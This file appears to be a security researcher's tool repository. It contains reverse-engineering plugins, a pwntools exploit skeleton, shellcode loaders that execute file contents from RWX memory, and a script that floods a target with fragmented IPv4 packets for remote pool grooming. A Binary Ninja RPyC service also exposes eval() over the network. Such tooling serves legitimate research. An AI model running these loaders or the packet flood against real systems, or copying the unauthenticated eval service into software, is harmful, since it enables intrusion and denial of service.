elif mnem == "cmps": 63 | args = "%s, %s, %s" % (regs["di"], regs["si"], regs["cx"]) 64 | MakeComm(item, "strcmp( %s )" % args) 65 | 66 | 67 | Refresh() 68 | -------------------------------------------------------------------------------- /lin_pwn_skel.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3.9 2 | 3 | import os, sys 4 | from pwn import ( 5 | context, ELF, process, remote, gdb, cyclic, hexdump, 6 | info, debug, success, warn, error, 7 | u8, p8, u16, p16, u32, p32, u64, p64, 8 | ) 9 | 10 | context.log_level = "debug" 11 | context.arch = "amd64" # arch="i386", arch="mips", arch="arm", 12 | context.terminal = ["tmux", "split-window", "-v", "-p 75"] 13 | 14 | LOCAL = True 15 | elf = ELF(os.path.realpath("./changeme")) 16 | libc = ELF(os.path.realpath("./libc.so")) 17 | 18 | 19 | def gdb_load_symbols_cmd(sym_file, e, base): 20 | sec_str = [] 21 | for s in e.sections: 22 | if not s.name or not s.header.sh_addr: 23 | continue 24 | sec_addr = base + s.header.sh_addr 25 | sec_str.append(f'-s {s.name} 0x{sec_addr:x}') 26 | text_addr = e.get_section_by_name('.text').header.sh_addr + base 27 | return f'add-symbol-file {sym_file} 0x{text_addr:x} {" ".join(sec_str)} \n' 28 | 29 | 30 | def attach(r): 31 | if LOCAL: 32 | # dbg_file = "libc/usr/lib/debug/.build-id/ce/17e023542265fc11d9bc8f534bb4f070493d30.debug" 33 | bkps = [ 34 | # elf.symbols["main"], 35 | ] 36 | cmds = [ 37 | # "heap-analysis-helper", 38 | # "format-string-helper", 39 | # gdb_load_symbols_cmd(dbg_file, libc, r.libs()[libc.path]), 40 | # "bp * $_base() + 0x1337", 41 | ] 42 | gdb.attach(r, '\n'.join(["break *{:#x}".format(x) for x in bkps] + cmds)) 43 | return 44 | 45 | 46 | def exploit(r): 47 | # r.sendlineafter(b"> ", b"HelloPwn" ) 48 | r.interactive() 49 | return 0 50 | 51 | 52 | if __name__ == "__main__": 53 | if len(sys.argv)>=2: 54 | LOCAL = False 55 | context.log_level = "info" 56 | r = remote(sys.argv[1], int(sys.argv[2])) 57 | else: 58 | r = process([elf.path, ]) #, env={"LD_PRELOAD": libc.path}) 59 | attach(r) 60 | # or 61 | #r = gdb.debug([elf.path, ], gdbscript='') 62 | exit(exploit(r)) 63 | -------------------------------------------------------------------------------- /shellcode_wrapper_linux.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Q'n'd shellcode wrapper for Linux 3 | * 4 | * @_hugsy_ 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | 17 | #define MAX_SC_SIZE (1<<16) 18 | 19 | void *sc_base; 20 | 21 | void* copy_from_file(char* filename) 22 | { 23 | ssize_t n = 0; 24 | void *off; 25 | int fd; 26 | 27 | fd = open(filename, O_RDONLY); 28 | if (fd<0){ 29 | perror("open"); 30 | return NULL; 31 | } 32 | 33 | sc_base = mmap(NULL, MAX_SC_SIZE, PROT_READ|PROT_EXEC|PROT_WRITE, 34 | MAP_SHARED|MAP_ANONYMOUS, 0, 0); 35 | if (sc_base == (void*) -1){ 36 | perror("mmap"); 37 | return NULL; 38 | } 39 | 40 | memset(sc_base, 0x00, MAX_SC_SIZE); 41 | off = sc_base; 42 | 43 | do { 44 | n = read(fd, off, 128); 45 | if (n<0) { 46 | perror("read"); 47 | close(fd); 48 | munmap(sc_base, MAX_SC_SIZE); 49 | return NULL; 50 | } 51 | off += n; 52 | } while (n > 0); 53 | 54 | printf("[+] %ld bytes copied to 0x%p\n", (off-sc_base), sc_base); 55 | 56 | return sc_base; 57 | } 58 | 59 | 60 | void trigger(void) 61 | { 62 | int (*func)(); 63 | func = (int (*)()) sc_base; 64 | (*func)(); 65 | munmap(sc_base, MAX_SC_SIZE); 66 | return; 67 | } 68 | 69 | 70 | int main(int argc, char **argv) 71 | { 72 | if (argc != 2) { 73 | printf("Missing filename\n"); 74 | return -1; 75 | } 76 | 77 | if (copy_from_file(argv[1])) { 78 | trigger(); 79 | return EXIT_SUCCESS; 80 | } else { 81 | return EXIT_FAILURE; 82 | } 83 | 84 | } 85 | -------------------------------------------------------------------------------- /win_pwn_skel.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3.8 2 | 3 | """ 4 | Basic pwn script for windows 5 | """ 6 | ################### 7 | # imports 8 | import os, sys, socket, binascii, struct, ctypes, telnetlib 9 | 10 | ################### 11 | # globals 12 | ptrsize = ctypes.sizeof(ctypes.c_void_p) 13 | 14 | ################### 15 | # methods 16 | def hexdump(source: bytes, line_length: int = 0x10, separator: str = ".", base: int = 0x00) -> str: 17 | res = [] 18 | align = ptrsize*2 + 2 19 | for i in range(0, len(source), line_length): 20 | chunk = bytearray(source[i:i + line_length]) 21 | hexa = " ".join([chr(b) for b in chunk]) 22 | text = "".join([chr(b) if 0x20 <= b < 0x7F else separator for b in chunk]) 23 | res.append("{addr:#0{aw}x} {data:<{dw}} {text}".format(aw=align, addr=base+i, dw=3*line_length, data=hexa, text=text)) 24 | return os.linesep.join(res) 25 | 26 | def xlog(x: str) -> None: sys.stderr.write(x + "\n") and sys.stderr.flush() 27 | def err(msg: str) -> None: xlog("[!] %s" % msg) 28 | def ok(msg: str) -> None: xlog("[+] %s" % msg) 29 | def dbg(msg: str) -> None: xlog("[*] %s" % msg) 30 | def p8(x: int, s: bool = False) -> bytes: return struct.pack(" bytes: return struct.pack(" bytes: return struct.pack(" bytes: return struct.pack(" int: return struct.unpack(" int: return struct.unpack(" int: return struct.unpack(" int: return struct.unpack(" bytes: return b''.join(args) 39 | -------------------------------------------------------------------------------- /demangle_cpp.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | Demangle any C++ prototype (Python3 only) 4 | 5 | Example: 6 | 7 | c:\> python3 z:\stuff\DemangleCpp.py "?vFlushSpriteUpdates@DEVLOCKOBJ@@QEAAXH@Z" 8 | public: void __cdecl DEVLOCKOBJ::vFlushSpriteUpdates(int) __ptr64 9 | 10 | """ 11 | 12 | import sys 13 | from ctypes import * 14 | from ctypes import wintypes 15 | 16 | def cpp_demangle(name): 17 | prototype = WINFUNCTYPE(wintypes.HANDLE, c_char_p) 18 | paramflags = (1, "lpModuleName"), 19 | LoadLibraryA = prototype( ("LoadLibraryA", windll.kernel32), paramflags ) 20 | 21 | prototype = WINFUNCTYPE(wintypes.HANDLE, wintypes.HANDLE, c_char_p) 22 | paramflags = (1, "ModuleHandle"), (1, "lpFunctionName") 23 | GetProcAddress = prototype( ("GetProcAddress", windll.kernel32), paramflags ) 24 | 25 | DbgHelp = LoadLibraryA(create_string_buffer(b"C:\\Windows\\System32\\DbgHelp.dll")) 26 | if DbgHelp == 0: 27 | return (-1, "Failed to load DbgHelp.dll") 28 | # print("DbgHelp.dll", hex(DbgHelp)) 29 | 30 | UnDecorateSymbolNameAddr = GetProcAddress(DbgHelp, create_string_buffer(b"UnDecorateSymbolName")) 31 | if UnDecorateSymbolNameAddr == 0: 32 | return (-2, "Failed to retrieve address of UnDecorateSymbolName") 33 | # print("UnDecorateSymbolName", hex(UnDecorateSymbolNameAddr)) 34 | 35 | # DWORD IMAGEAPI UnDecorateSymbolName( 36 | # PCSTR name, 37 | # PSTR outputString, 38 | # DWORD maxStringLength,`` 39 | # DWORD flags 40 | # ); 41 | UNDNAME_COMPLETE = 0 42 | flags = UNDNAME_COMPLETE 43 | out = create_string_buffer(1024) 44 | 45 | prototype = WINFUNCTYPE(wintypes.DWORD, c_char_p, c_char_p, wintypes.DWORD, wintypes.DWORD) 46 | UnDecorateSymbolName = prototype( UnDecorateSymbolNameAddr ) 47 | 48 | res = UnDecorateSymbolName( 49 | create_string_buffer(bytes(name, "utf-8")), 50 | out, 51 | 1024, 52 | flags 53 | ) 54 | 55 | if res == 0: 56 | return (-3, "UnDecorateSymbolName() returned=%x" % res) 57 | 58 | return (0, str(out.value, "utf-8")) 59 | 60 | 61 | if __name__ == "__main__": 62 | retcode, reason = cpp_demangle(sys.argv[1]) 63 | print(reason) 64 | -------------------------------------------------------------------------------- /shellcode_wrapper_windows.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Q'n'd shellcode wrapper for Windows x86-32/64 3 | * 4 | * @_hugsy_ 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | 15 | DWORD WINAPI SpawnShellcode(LPVOID lpSc) 16 | { 17 | VOID (*sc)(); 18 | sc = lpSc; 19 | sc(); 20 | return 0; 21 | } 22 | 23 | SIZE_T OpenAndGetSize(LPSTR filename, HANDLE* hFile) 24 | { 25 | DWORD dwSize; 26 | 27 | *hFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 28 | if (!*hFile) { 29 | printf("[-] CreateFile\n"); 30 | CloseHandle(hFile); 31 | return -1; 32 | } 33 | 34 | dwSize = GetFileSize(*hFile, NULL); 35 | if (dwSize == INVALID_FILE_SIZE) { 36 | printf("[-] GetFileSize\n"); 37 | CloseHandle(hFile); 38 | } 39 | 40 | return dwSize; 41 | } 42 | 43 | 44 | LPVOID* AllocAndMap(HANDLE *hFile, DWORD dwBytesToRead) 45 | { 46 | LPVOID code = NULL; 47 | DWORD dwBytesRead; 48 | 49 | code = VirtualAlloc(NULL, dwBytesToRead+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 50 | if (!code) { 51 | printf("[-] VirtualAlloc\n"); 52 | return NULL; 53 | } 54 | 55 | ZeroMemory(code, dwBytesToRead+1); 56 | 57 | if( !ReadFile(*hFile, code, dwBytesToRead, &dwBytesRead, NULL) || 58 | dwBytesRead != dwBytesToRead) { 59 | printf("[-] ReadFile\n"); 60 | VirtualFree(code, dwBytesToRead+1, MEM_RELEASE); 61 | return NULL; 62 | } 63 | 64 | return code; 65 | } 66 | 67 | VOID MapShellcodeInMemory(LPSTR filename) 68 | { 69 | SIZE_T len; 70 | DWORD pID; 71 | LPVOID code; 72 | HANDLE hFile; 73 | 74 | len = OpenAndGetSize(filename, &hFile); 75 | if (len < 0) { 76 | return; 77 | } 78 | printf("[+] '%s' is %d bytes\n", filename, len); 79 | 80 | code = AllocAndMap(&hFile, len); 81 | if (!code){ 82 | goto out; 83 | } 84 | printf("[+] Shellcode alloc-ed at %p\n", code); 85 | printf("[+] Triggering code\n"); 86 | 87 | WaitForSingleObject(CreateThread(NULL, 0, SpawnShellcode, code, 0, &pID), INFINITE); 88 | VirtualFree(code, len+1, MEM_RELEASE); 89 | 90 | out: 91 | CloseHandle(hFile); 92 | return; 93 | } 94 | 95 | 96 | int main(int argc, char** argv, char** envp) 97 | { 98 | if (argc < 2) { 99 | printf("Syntax:\n"); 100 | printf("%s \\path\\to\\shellcode_file\n", argv[0]); 101 | return -1; 102 | } 103 | 104 | MapShellcodeInMemory(argv[1]); 105 | 106 | return 0; 107 | } 108 | -------------------------------------------------------------------------------- /ida_scripts/copy_rva.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- mode: python -*- 3 | # -*- coding: utf-8 -*- 4 | 5 | """ 6 | Send RVA to clipboard in a WinDBG compatible format 7 | 8 | 0.3 Fixed broken behavior 9 | 0.2 Python3 (IDA >= 7.4) 10 | 0.1 Python2 (IDA <= 7.3) 11 | """ 12 | 13 | import os, tkinter 14 | from tkinter.constants import FALSE 15 | import idaapi, idc 16 | import ida_expr, ida_kernwin, ida_nalt 17 | 18 | ida_version_below_74 = idaapi.get_kernel_version() < "7.4" 19 | 20 | PLUGIN_NAME = "CopyRva" 21 | PLUGIN_HOTKEY = "Ctrl-Alt-H" 22 | PLUGIN_VERSION = "0.3" 23 | PLUGIN_AUTHOR = "@_hugsy_" 24 | 25 | # 26 | # Hashmap of filenames pointing to how they should be aliased 27 | # 28 | ALIASES = { 29 | "ntoskrnl": "nt", 30 | } 31 | 32 | def get_rva() -> int: 33 | ea = idc.get_screen_ea() 34 | base = idaapi.get_imagebase() 35 | rva = ea - base 36 | return rva 37 | 38 | 39 | def get_filename() -> str: 40 | if ida_version_below_74: 41 | return idc.GetInputFile() 42 | return ida_nalt.get_root_filename() 43 | 44 | 45 | def copy_ea_to_clipboard() -> bool: 46 | try: 47 | addr = get_rva() 48 | name = os.path.splitext( get_filename() )[0] 49 | if name in ALIASES: 50 | name = ALIASES[name] 51 | f = "{:s}+{:x}".format(name, addr) 52 | r = tkinter.Tk() 53 | r.withdraw() 54 | r.clipboard_clear() 55 | r.clipboard_append("{:s}".format(f)) 56 | r.update() 57 | r.destroy() 58 | print("[+] Copied {:s}".format(f)) 59 | except Exception as e: 60 | print("[-] Exception: {}".format(e)) 61 | return False 62 | return True 63 | 64 | 65 | def copy_rva_main() -> None: 66 | if ida_version_below_74: 67 | idaapi.CompileLine('static send_ea_to_clipboard() { RunPythonStatement("copy_ea_to_clipboard()"); }') 68 | idc.AddHotkey(PLUGIN_HOTKEY, "send_ea_to_clipboard") 69 | else: 70 | ida_expr.compile_idc_text('static send_ea_to_clipboard() { RunPythonStatement("copy_ea_to_clipboard()"); }') 71 | ida_kernwin.add_idc_hotkey(PLUGIN_HOTKEY, "send_ea_to_clipboard") 72 | 73 | print("[+] Press '{:s}' to copy RVA to clipboard".format(PLUGIN_HOTKEY)) 74 | return 75 | 76 | 77 | class CopyRvaPlugin(idaapi.plugin_t): 78 | wanted_name = PLUGIN_NAME 79 | wanted_hotkey = "" 80 | flags = idaapi.PLUGIN_UNL 81 | comment = "Quickly copy to clipboard the position of the cursor in IDA Pro" 82 | help = "Copy the position of the cursor in IDA Pro to clipboard in a WinDbg friendly format" 83 | 84 | def init(self): return idaapi.PLUGIN_OK 85 | def run(self, arg): pass 86 | def term(self): pass 87 | 88 | 89 | def PLUGIN_ENTRY(): 90 | copy_rva_main() 91 | return CopyRvaPlugin() 92 | 93 | 94 | if __name__ == "__main__": 95 | PLUGIN_ENTRY() -------------------------------------------------------------------------------- /binja_scripts/binja_rpyc/server.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | 4 | """ 5 | 6 | import threading 7 | import rpyc 8 | import random 9 | 10 | import binaryninja 11 | 12 | from .helpers import ( 13 | info, 14 | err, 15 | dbg, 16 | ) 17 | 18 | from .constants import ( 19 | DEBUG, 20 | HOST, 21 | PORT, 22 | ) 23 | 24 | 25 | __service_thread = None 26 | __server = None 27 | __bv = None 28 | 29 | 30 | class BinjaRpycService(rpyc.Service): 31 | ALIASES = ["binja", ] 32 | 33 | def __init__(self, bv): 34 | self.exposed_bv = bv 35 | return 36 | 37 | def on_connect(self, conn): 38 | info("connect open: {}".format(conn,)) 39 | return 40 | 41 | def on_disconnect(self, conn): 42 | info("connection closed: {}".format(conn,)) 43 | return 44 | 45 | exposed_binaryninja = binaryninja 46 | 47 | def exposed_eval(self, cmd): 48 | info("executing '{}'".format(cmd)) 49 | return eval(cmd) 50 | 51 | 52 | 53 | def is_service_started(): 54 | global __service_thread 55 | return __service_thread is not None 56 | 57 | 58 | 59 | def start_service(host, port, bv): 60 | """Starting the RPyC server""" 61 | global __server, __bv 62 | __server = None 63 | __bv = bv 64 | 65 | for i in range(1): 66 | p = port + i 67 | try: 68 | service = rpyc.utils.helpers.classpartial(BinjaRpycService, bv) 69 | __server = rpyc.utils.server.OneShotServer(service, hostname=host, port=p) if DEBUG \ 70 | else rpyc.utils.server.ThreadedServer(service, hostname=host, port=p) 71 | break 72 | except OSError: 73 | __server = None 74 | 75 | if not __server: 76 | err("failed to start server...") 77 | return 78 | 79 | info("server successfully started") 80 | __server.start() 81 | return 82 | 83 | 84 | def rpyc_start(bv): 85 | global __service_thread 86 | dbg("Starting background service...") 87 | __service_thread = threading.Thread(target=start_service, args=(HOST, PORT, bv)) 88 | __service_thread.daemon = True 89 | __service_thread.start() 90 | binaryninja.show_message_box( 91 | "Binja-RPyC", 92 | "Service successfully started, you can use any RPyC client to connect to this instance of Binary Ninja", 93 | binaryninja.MessageBoxButtonSet.OKButtonSet, 94 | binaryninja.MessageBoxIcon.InformationIcon 95 | ) 96 | return 97 | 98 | 99 | 100 | def shutdown_service(): 101 | try: 102 | info("shutting down service") 103 | __server.close() 104 | except: 105 | pass 106 | 107 | 108 | def stop_service(): 109 | """ Stopping the service """ 110 | global __service_thread 111 | dbg("Trying to stop service thread") 112 | shutdown_service() 113 | __service_thread.join() 114 | __service_thread = None 115 | info("Server stopped") 116 | return 117 | 118 | 119 | def rpyc_stop(bv): 120 | "Stopping background service... " 121 | if stop_service(): 122 | binaryninja.show_message_box( 123 | "Binja-RPyC", 124 | "Service successfully stopped", 125 | binaryninja.MessageBoxButtonSet.OKButtonSet, 126 | binaryninja.MessageBoxIcon.InformationIcon 127 | ) 128 | return -------------------------------------------------------------------------------- /ida_scripts/mips_helper.py: -------------------------------------------------------------------------------- 1 | # 2 | # Cavium Octeon MIPS64r2 N32 helper 3 | # 4 | # Basic reconstruction of calls (positionning arguments) 5 | # 6 | # https://msdn.microsoft.com/en-us/library/ms253512(v=vs.90).aspx 7 | # 8 | # 9 | from idautils import * 10 | from idc import * 11 | 12 | # from gef 13 | regs = {"$zero": None, 14 | "$v0": None, 15 | "$v1": None, 16 | 17 | "$a0": None, 18 | "$a1": None, 19 | "$a2": None, 20 | "$a3": None, 21 | "$a4": None, 22 | 23 | "$t0": None, 24 | "$t1": None, 25 | "$t2": None, 26 | "$t3": None, 27 | "$t4": None, 28 | "$t5": None, 29 | "$t6": None, 30 | "$t7": None, 31 | 32 | "$s0": None, 33 | "$s1": None, 34 | "$s2": None, 35 | "$s3": None, 36 | "$s4": None, 37 | "$s5": None, 38 | "$s6": None, 39 | "$s7": None, 40 | "$s8": None, 41 | 42 | "$t8": None, 43 | "$t9": None, 44 | "$k0": None, 45 | "$k1": None, 46 | } 47 | 48 | func_arg_regs = dict( [(i, regs[i]) for i in regs.keys() if i.startswith("$a") ]) 49 | 50 | 51 | 52 | def parse_current_function(ea): 53 | ea_off = GetFuncOffset(ea) 54 | if '+' not in ea_off: 55 | print("[-] Failed to get offset") 56 | return 57 | 58 | off = long(ea_off.split('+')[1], 16) 59 | start_addr = ea - off 60 | name = GetFunctionName(start_addr) 61 | previous_item = None 62 | is_previous_a_jump = False 63 | 64 | print("[+] Parsing function '%s()' [%#x]" % (name, start_addr)) 65 | 66 | for item in FuncItems(start_addr): 67 | mnem = GetMnem(item) 68 | 69 | if mnem in ("jal", "jalr"): 70 | is_previous_a_jump = True 71 | previous_item = item 72 | continue 73 | 74 | elif mnem in ("move", "li", "la", "lui"): 75 | dst = GetOpnd(item, 0) 76 | src = GetOpnd(item, 1) 77 | 78 | if src == "$zero": 79 | src = "0" 80 | 81 | regs[dst] = src 82 | MakeComm(item, "%s = %s;" % (dst, src)) 83 | 84 | elif mnem == "beqz": 85 | cond = GetOpnd(item, 0) 86 | target = GetOpnd(item, 1) 87 | MakeComm(item, "if (%s == 0) jump to %s;" % (cond, target)) 88 | 89 | elif mnem in ("blez", "bltz"): 90 | cond = GetOpnd(item, 0) 91 | target = GetOpnd(item, 1) 92 | MakeComm(item, "if (%s %s 0) jump to %s;" % (cond, "<=" if mnem=="blez" else "<", target)) 93 | 94 | elif mnem in ("bgez", "bgtz"): 95 | cond = GetOpnd(item, 0) 96 | target = GetOpnd(item, 1) 97 | MakeComm(item, "if (%s %s 0) jump to %s;" % (cond, ">=" if mnem=="bgez" else ">", target)) 98 | 99 | if is_previous_a_jump: 100 | # mips pipelining can allow to have an argument being set after the 101 | # call to jal / jalr 102 | called_funcname = GetOpnd(previous_item, 0) 103 | args = ", ".join( [regs[i] for i in func_arg_regs.keys() if regs[i] is not None] ) 104 | MakeComm(previous_item, "%s (%s)" % (called_funcname, args)) 105 | 106 | for i in func_arg_regs.keys(): 107 | # reset argument registers 108 | regs[i] = None 109 | 110 | previous_item = None 111 | is_previous_a_jump = False 112 | 113 | return 114 | 115 | 116 | ea = ScreenEA() 117 | parse_current_function(ea) 118 | Refresh() 119 | -------------------------------------------------------------------------------- /cloudatcost.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 -i 2 | 3 | import os, json 4 | import requests 5 | 6 | target = "https://panel.cloudatcost.com/api/v1" 7 | cac_api = os.getenv("CAC_API") 8 | cac_login = os.getenv("CAC_LOGIN") 9 | 10 | 11 | def list_servers(server_id=None): 12 | """Without parameters, list all servers on the account. If `idx` is specified, 13 | show all the information corresponding to this server ID.""" 14 | url = "{}/listservers.php".format(target) 15 | params = {"key": cac_api, "login": cac_login} 16 | req = requests.get(url, params=params) 17 | if req.status_code != requests.codes.ok: 18 | print("[-] Got %d: %s" % (req.status_code, req.reason)) 19 | return 20 | 21 | if req.headers['content-length']==0 or len(req.text.strip())==0: 22 | print("[-] no data") 23 | return 24 | 25 | res = req.json() 26 | print("[+] Status: {:s}".format(res["status"])) 27 | 28 | if res["status"] == "ok": 29 | for server in res["data"]: 30 | if server_id is None: 31 | print("[+] Name: {} ({} - {}), id: {}".format(server["label"], server["ip"], server["rdns"], server["id"])) 32 | continue 33 | if server["id"]!=str(server_id): 34 | continue 35 | 36 | print(json.dumps(server, sort_keys=True, indent=4)) 37 | return 38 | 39 | 40 | def list_tasks(server_id=None): 41 | """List all tasks in operation.""" 42 | url = "{}/listtasks.php".format(target) 43 | params = {"key": cac_api, "login": cac_login} 44 | req = requests.get(url, params=params) 45 | if req.status_code != requests.codes.ok: 46 | print("[-] Got %d: %s" % (req.status_code, req.reason)) 47 | return 48 | 49 | if req.headers['content-length']==0 or len(req.text.strip())==0: 50 | print("[-] no data") 51 | return 52 | 53 | res = req.json() 54 | print("[+] Status: {:s}".format(res["status"])) 55 | 56 | if res["status"] == "ok": 57 | for server in res["data"]: 58 | if server_id is None: 59 | print("[+] Name: {}, id: {}: {} - {}".format(server["label"], server["serverid"]), server["action"], server["status"], ) 60 | continue 61 | if server["serverid"]!=str(server_id): 62 | continue 63 | 64 | print(json.dumps(server, sort_keys=True, indent=4)) 65 | return 66 | 67 | 68 | def power_operations(server_id, action="reset"): 69 | """Activate server power operations.""" 70 | valid_actions = ("poweron", "poweroff", "reset") 71 | if action not in valid_actions: 72 | print("[-] Incorrect action, must be in %s" % valid_actions) 73 | return 74 | 75 | url = "{}/powerop.php".format(target) 76 | params = {"key": cac_api, "login": cac_login, "sid": server_id, "action": action} 77 | req = requests.post(url, data=params) 78 | if req.status_code != requests.codes.ok: 79 | print("[-] Got %d: %s" % (req.status_code, req.reason)) 80 | print(req.text) 81 | return 82 | 83 | if req.headers['content-length']==0 or len(req.text.strip())==0: 84 | print("[-] no data") 85 | return 86 | 87 | res = req.json() 88 | if res["status"] != "ok": 89 | print("[-] {:s}".format(res["error_description"])) 90 | return 91 | 92 | print("[+] Success: {:s} - {:s}".format(res["action"], res["result"])) 93 | return 94 | 95 | 96 | def poweron(server_id): return power_operations(server_id, action="poweron") 97 | def poweroff(server_id): return power_operations(server_id, action="poweroff") 98 | def reset(server_id): return power_operations(server_id, action="reset") 99 | 100 | 101 | def console(server_id): 102 | """Request URL for console access.""" 103 | url = "{}/console.php".format(target) 104 | params = {"key": cac_api, "login": cac_login, "sid": server_id} 105 | req = requests.post(url, data=params) 106 | if req.status_code != requests.codes.ok: 107 | print("[-] Got %d: %s" % (req.status_code, req.reason)) 108 | return 109 | 110 | if req.headers['content-length']==0 or len(req.text.strip())==0: 111 | print("[-] no data") 112 | return 113 | 114 | res = req.json() 115 | if res["status"] != "ok": 116 | print("[-] {}".format(res["error_description"])) 117 | return 118 | 119 | print("[+] Success: {}".format(res["console"])) 120 | return 121 | -------------------------------------------------------------------------------- /ipv4_fragment_bombing.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3.8 2 | 3 | """ 4 | Bombard target with fragmented IP packets 5 | """ 6 | 7 | import threading 8 | import struct 9 | import sys 10 | import random 11 | 12 | from scapy.all import send, sendp, plist, IP, TCP, UDP, Raw, fragment, Ether 13 | 14 | DEBUG = True 15 | 16 | def xlog(x: str) -> None: 17 | sys.stderr.write(x + "\n") 18 | sys.stderr.flush() 19 | 20 | def err(msg: str) -> None: xlog("[!] %s" % msg) 21 | def ok(msg: str) -> None: xlog("[+] %s" % msg) 22 | def dbg(msg: str) -> None: xlog("[*] %s" % msg) 23 | 24 | 25 | def p8(x: int, s: bool = False): return struct.pack(" None: 55 | _packet_ids = random.sample(range(0x0000, 0x10000), k=nb_packet) 56 | pkts = plist.PacketList() 57 | 58 | for _id in _packet_ids: 59 | #_ip = IP(dst=dest, id=_id, proto="tcp") / payload 60 | #for f in fragment(_ip): 61 | # sendp( Ether(dst="00:15:5d:00:0c:3f")/f , inter=0.01, iface="eth1" ) 62 | for pkt in generate_packet(dest, _id, payload): 63 | p = Ether(dst="00:15:5d:00:0c:3f")/pkt 64 | #send(pkt,verbose=False) 65 | pkts.append(p) 66 | 67 | sendp(p, inter=0.001, iface="eth1", verbose=False ) 68 | 69 | 70 | 71 | # # some strategy attempts to better control the grooming 72 | # if method == "poke": 73 | # x = [ t for i, t in enumerate(_id) if i % 2 == 1 ] 74 | # pkts.append( IP(dst=dest, proto="tcp", id=x, frag=off) ) 75 | # elif method == "full": 76 | # x = [ t for i, t in enumerate(_id) if i % 2 == 1 ] 77 | # pkts.append( IP(dst=dest, proto="tcp", id=x, frag=off) ) 78 | # x = [ t for i, t in enumerate(_id) if i % 2 == 0 ] 79 | # pkts.append( IP(dst=dest, proto="tcp", id=x, frag=off) ) 80 | 81 | #send(pkts, verbose=DEBUG, inter=0.01, loop=0) 82 | return 83 | 84 | 85 | def too_long_error(): 86 | err("timeout reached, stopping...") 87 | sys.exit(-1) 88 | 89 | 90 | def remote_allocate(dst: str, pool_size: int) -> None: 91 | # note: pkt header will add 0x50 to the target allocation 92 | assert pool_size >= 0x50 93 | ok("starting fragment_bombing with pool_size={}".format(pool_size)) 94 | #payload = TCP(dport=445, flags="S") 95 | payload = b'A'*(pool_size-0x50) 96 | #payload = b''.ljust(pool_size-0x50, b'A') 97 | fragment_bomb(dst, 10000, bytes(payload)) 98 | return 99 | 100 | 101 | if __name__ == "__main__": 102 | target, size, timeout = sys.argv[1], int(sys.argv[2], 0), 3*60 103 | if len(sys.argv) > 3: 104 | timeout = int(sys.argv[3], 0) 105 | 106 | T = [] 107 | 108 | try: 109 | 110 | ok("stopping in {:d} seconds".format(timeout)) 111 | timer = threading.Timer(timeout, too_long_error) 112 | timer.start() 113 | 114 | ok("grooming pool...") 115 | t = threading.Thread( 116 | target = remote_allocate, 117 | args = (target, size) 118 | ) 119 | t.daemon = True 120 | t.start() 121 | T.append(t) 122 | 123 | except KeyboardInterrupt: 124 | for t in T: 125 | if t.is_alive(): 126 | t.join() 127 | sys.exit(1) -------------------------------------------------------------------------------- /decode_ioctl.py: -------------------------------------------------------------------------------- 1 | import enum 2 | from typing import Any 3 | 4 | class IrpDeviceType(enum.IntEnum): 5 | FILE_DEVICE_BEEP = 0x00000001 6 | FILE_DEVICE_CD_ROM = 0x00000002 7 | FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x00000003 8 | FILE_DEVICE_CONTROLLER = 0x00000004 9 | FILE_DEVICE_DATALINK = 0x00000005 10 | FILE_DEVICE_DFS = 0x00000006 11 | FILE_DEVICE_DISK = 0x00000007 12 | FILE_DEVICE_DISK_FILE_SYSTEM = 0x00000008 13 | FILE_DEVICE_FILE_SYSTEM = 0x00000009 14 | FILE_DEVICE_INPORT_PORT = 0x0000000a 15 | FILE_DEVICE_KEYBOARD = 0x0000000b 16 | FILE_DEVICE_MAILSLOT = 0x0000000c 17 | FILE_DEVICE_MIDI_IN = 0x0000000d 18 | FILE_DEVICE_MIDI_OUT = 0x0000000e 19 | FILE_DEVICE_MOUSE = 0x0000000f 20 | FILE_DEVICE_MULTI_UNC_PROVIDER = 0x00000010 21 | FILE_DEVICE_NAMED_PIPE = 0x00000011 22 | FILE_DEVICE_NETWORK = 0x00000012 23 | FILE_DEVICE_NETWORK_BROWSER = 0x00000013 24 | FILE_DEVICE_NETWORK_FILE_SYSTEM = 0x00000014 25 | FILE_DEVICE_NULL = 0x00000015 26 | FILE_DEVICE_PARALLEL_PORT = 0x00000016 27 | FILE_DEVICE_PHYSICAL_NETCARD = 0x00000017 28 | FILE_DEVICE_PRINTER = 0x00000018 29 | FILE_DEVICE_SCANNER = 0x00000019 30 | FILE_DEVICE_SERIAL_MOUSE_PORT = 0x0000001a 31 | FILE_DEVICE_SERIAL_PORT = 0x0000001b 32 | FILE_DEVICE_SCREEN = 0x0000001c 33 | FILE_DEVICE_SOUND = 0x0000001d 34 | FILE_DEVICE_STREAMS = 0x0000001e 35 | FILE_DEVICE_TAPE = 0x0000001f 36 | FILE_DEVICE_TAPE_FILE_SYSTEM = 0x00000020 37 | FILE_DEVICE_TRANSPORT = 0x00000021 38 | FILE_DEVICE_UNKNOWN = 0x00000022 39 | FILE_DEVICE_VIDEO = 0x00000023 40 | FILE_DEVICE_VIRTUAL_DISK = 0x00000024 41 | FILE_DEVICE_WAVE_IN = 0x00000025 42 | FILE_DEVICE_WAVE_OUT = 0x00000026 43 | FILE_DEVICE_8042_PORT = 0x00000027 44 | FILE_DEVICE_NETWORK_REDIRECTOR = 0x00000028 45 | FILE_DEVICE_BATTERY = 0x00000029 46 | FILE_DEVICE_BUS_EXTENDER = 0x0000002a 47 | FILE_DEVICE_MODEM = 0x0000002b 48 | FILE_DEVICE_VDM = 0x0000002c 49 | FILE_DEVICE_MASS_STORAGE = 0x0000002d 50 | FILE_DEVICE_SMB = 0x0000002e 51 | FILE_DEVICE_KS = 0x0000002f 52 | FILE_DEVICE_CHANGER = 0x00000030 53 | FILE_DEVICE_SMARTCARD = 0x00000031 54 | 